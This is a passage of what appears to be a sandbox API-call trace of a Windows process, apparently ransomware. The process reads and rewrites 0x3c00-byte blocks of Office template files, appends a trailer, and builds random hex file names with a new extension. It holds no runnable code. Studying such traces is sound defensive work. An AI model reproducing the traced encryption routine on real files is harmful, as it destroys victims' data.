0x202a86b0 [0112.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.872] NtQuerySystemTime (in: CurrentTime=0x35b1fa00 | out: CurrentTime=0x35b1fa00*=132462177183334000) returned 0x0 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x18ffa0e7 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x26bf477b [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x502eb212 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x4fe482c2 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x2817a213 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x74531e5f [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x2ed69a42 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x2c928c1b [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x7d788080 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x4ca7b2d [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x259b7011 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x1ed03db7 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x2362d3cb [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x2f516bdd [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x366530e5 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x14309836 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x71b99a78 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x61eece14 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x6b6f1bf8 [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x3da2462f [0112.872] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x5cb77a74 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x30229c96 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x15f2e315 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x22f7892c [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x66ab77d0 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x7c81e02e [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0xf5ba10 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x177f561c [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x39899abe [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x6fef1a12 [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x540725de [0112.873] RtlRandomEx (in: Seed=0x35b1f9f0 | out: Seed=0x35b1f9f0) returned 0x68d2bf72 [0112.885] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.885] ReadFile (in: hFile=0xedc, lpBuffer=0x41dee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35b1fa60, lpOverlapped=0x0 | out: lpBuffer=0x41dee130*, lpNumberOfBytesRead=0x35b1fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.891] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0112.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e00d80 [0112.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0112.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.893] WriteFile (in: hFile=0xedc, lpBuffer=0x41e00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35b1fa60, lpOverlapped=0x0 | out: lpBuffer=0x41e00d80*, lpNumberOfBytesWritten=0x35b1fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0128.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e00d80) returned 1 [0128.162] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.162] ReadFile (in: hFile=0xedc, lpBuffer=0x41dee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35b1fa60, lpOverlapped=0x0 | out: lpBuffer=0x41dee130*, lpNumberOfBytesRead=0x35b1fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0128.163] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aed0 [0128.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aed0) returned 1 [0128.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e00d80 [0128.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aed0 [0128.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0128.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0128.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.164] WriteFile (hFile=0xedc, lpBuffer=0x41e00d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35b1fa60, lpOverlapped=0x0) [0171.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e00d80) returned 1 [0171.027] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x2b4f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.027] ReadFile (in: hFile=0xedc, lpBuffer=0x41dee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35b1fa60, lpOverlapped=0x0 | out: lpBuffer=0x41dee130*, lpNumberOfBytesRead=0x35b1fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0171.203] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x2b4f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1f0 [0171.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1f0) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2033e990 [0171.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1f0 [0171.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d220 [0171.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d220) returned 1 [0171.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.206] WriteFile (in: hFile=0xedc, lpBuffer=0x2033e990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35b1fa60, lpOverlapped=0x0 | out: lpBuffer=0x2033e990*, lpNumberOfBytesWritten=0x35b1fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033e990) returned 1 [0187.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15450 [0187.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1f0) returned 1 [0187.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aed0) returned 1 [0187.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0187.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dee130) returned 1 [0187.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5c740 [0187.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0187.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0187.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5bde0 [0187.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0187.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x166) returned 0x1b82f830 [0187.171] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.171] WriteFile (in: hFile=0xedc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x166, lpNumberOfBytesWritten=0x35b1fb10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x35b1fb10*=0x166, lpOverlapped=0x0) returned 1 [0201.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0201.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3b0 [0201.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3b0) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d130 [0201.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3b0 [0201.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc380 [0201.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc380) returned 1 [0201.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0201.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b85d990 [0201.011] sprintf (in: _Dest=0x1b85d990, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d992, _Format="%c%c" | out: _Dest="65") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d994, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d996, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d998, _Format="%c%c" | out: _Dest="bb") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d99a, _Format="%c%c" | out: _Dest="36") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d99c, _Format="%c%c" | out: _Dest="03") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d99e, _Format="%c%c" | out: _Dest="60") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9a0, _Format="%c%c" | out: _Dest="22") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9a2, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9a4, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9a6, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9a8, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9aa, _Format="%c%c" | out: _Dest="d1") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9ac, _Format="%c%c" | out: _Dest="60") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9ae, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9b0, _Format="%c%c" | out: _Dest="77") returned 2 [0201.011] sprintf (in: _Dest=0x1b85d9b2, _Format="%c%c" | out: _Dest="78") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9b4, _Format="%c%c" | out: _Dest="79") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9b6, _Format="%c%c" | out: _Dest="94") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9b8, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9ba, _Format="%c%c" | out: _Dest="04") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9bc, _Format="%c%c" | out: _Dest="68") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9be, _Format="%c%c" | out: _Dest="56") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9c0, _Format="%c%c" | out: _Dest="98") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9c2, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9c4, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9c6, _Format="%c%c" | out: _Dest="30") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9c8, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9ca, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9cc, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9ce, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9d0, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9d2, _Format="%c%c" | out: _Dest="57") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9d4, _Format="%c%c" | out: _Dest="00") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9d6, _Format="%c%c" | out: _Dest="da") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9d8, _Format="%c%c" | out: _Dest="5f") returned 2 [0201.012] sprintf (in: _Dest=0x1b85d9da, _Format="%c%c" | out: _Dest="7f") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9dc, _Format="%c%c" | out: _Dest="96") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9de, _Format="%c%c" | out: _Dest="34") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9e0, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9e2, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9e4, _Format="%c%c" | out: _Dest="4b") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9e6, _Format="%c%c" | out: _Dest="07") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9e8, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9ea, _Format="%c%c" | out: _Dest="01") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9ec, _Format="%c%c" | out: _Dest="af") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9ee, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9f0, _Format="%c%c" | out: _Dest="ef") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9f2, _Format="%c%c" | out: _Dest="65") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9f4, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.013] sprintf (in: _Dest=0x1b85d9f6, _Format="%c%c" | out: _Dest="4b") returned 2 [0201.013] RtlInitAnsiString (in: DestinationString=0x35b1fb88, SourceString="4e657cb2bb36036022f2bde4f6d1602c77787994ca04685698b97e301ef59e6a2a5700da5f7f9634bc5d4b072f01afc7ef656a4b" | out: DestinationString="4e657cb2bb36036022f2bde4f6d1602c77787994ca04685698b97e301ef59e6a2a5700da5f7f9634bc5d4b072f01afc7ef656a4b") [0201.013] RtlAnsiStringToUnicodeString (in: DestinationString=0x35b1fb58, SourceString="4e657cb2bb36036022f2bde4f6d1602c77787994ca04685698b97e301ef59e6a2a5700da5f7f9634bc5d4b072f01afc7ef656a4b", AllocateDestinationString=1 | out: DestinationString="4e657cb2bb36036022f2bde4f6d1602c77787994ca04685698b97e301ef59e6a2a5700da5f7f9634bc5d4b072f01afc7ef656a4b") returned 0x0 [0201.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced0e40 [0201.014] wcscat (in: _Dest=0x431ebc70, _Source="4e657cb2bb36036022f2bde4f6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6" [0201.014] wcscat (in: _Dest=0x431ebc70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6.2f9b60" [0201.014] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6.2f9b60", NtPathName=0x35b1fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\4e657cb2bb36036022f2bde4f6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310a720 Thread: id = 1135 os_tid = 0xff4 [0112.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx")) returned 0x20 [0112.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx", dwFileAttributes=0x20) returned 1 [0112.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0112.889] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x35a5fd80 | out: lpFileSize=0x35a5fd80*=214570) returned 1 [0112.889] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x34626, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.889] ReadFile (in: hFile=0xe80, lpBuffer=0x35a5fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35a5fd48, lpOverlapped=0x0 | out: lpBuffer=0x35a5fd00*, lpNumberOfBytesRead=0x35a5fd48*=0x4, lpOverlapped=0x0) returned 1 [0112.895] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.895] NtQuerySystemTime (in: CurrentTime=0x35a5fc40 | out: CurrentTime=0x35a5fc40*=132462177183490000) returned 0x0 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x29c35699 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x4e23e18 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x1679d3c4 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x67e393f2 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0xfec700b [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x259ba733 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x7686da34 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x3362faf [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x2a56b047 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x19c5302d [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x5ef9319 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x630c8827 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x590bf1c8 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x32922212 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x2208fb60 [0112.895] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x7a63490 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x477d447e [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x32d8904f [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x1b7c7c4c [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x6099d0bb [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x34e92719 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x6ef95c96 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x19443109 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x7a4bcea9 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x12fb2f15 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x1f9eedf4 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x7a8ab428 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x42eeae12 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x54d4eaf [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x1043e8fc [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0xabc3a52 [0112.896] RtlRandomEx (in: Seed=0x35a5fc30 | out: Seed=0x35a5fc30) returned 0x7aa01bc0 [0112.910] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.910] ReadFile (in: hFile=0xe80, lpBuffer=0x41dea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41dea520*, lpNumberOfBytesRead=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.911] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dfd170 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0112.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.913] WriteFile (in: hFile=0xe80, lpBuffer=0x41dfd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41dfd170*, lpNumberOfBytesWritten=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dfd170) returned 1 [0147.895] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.895] 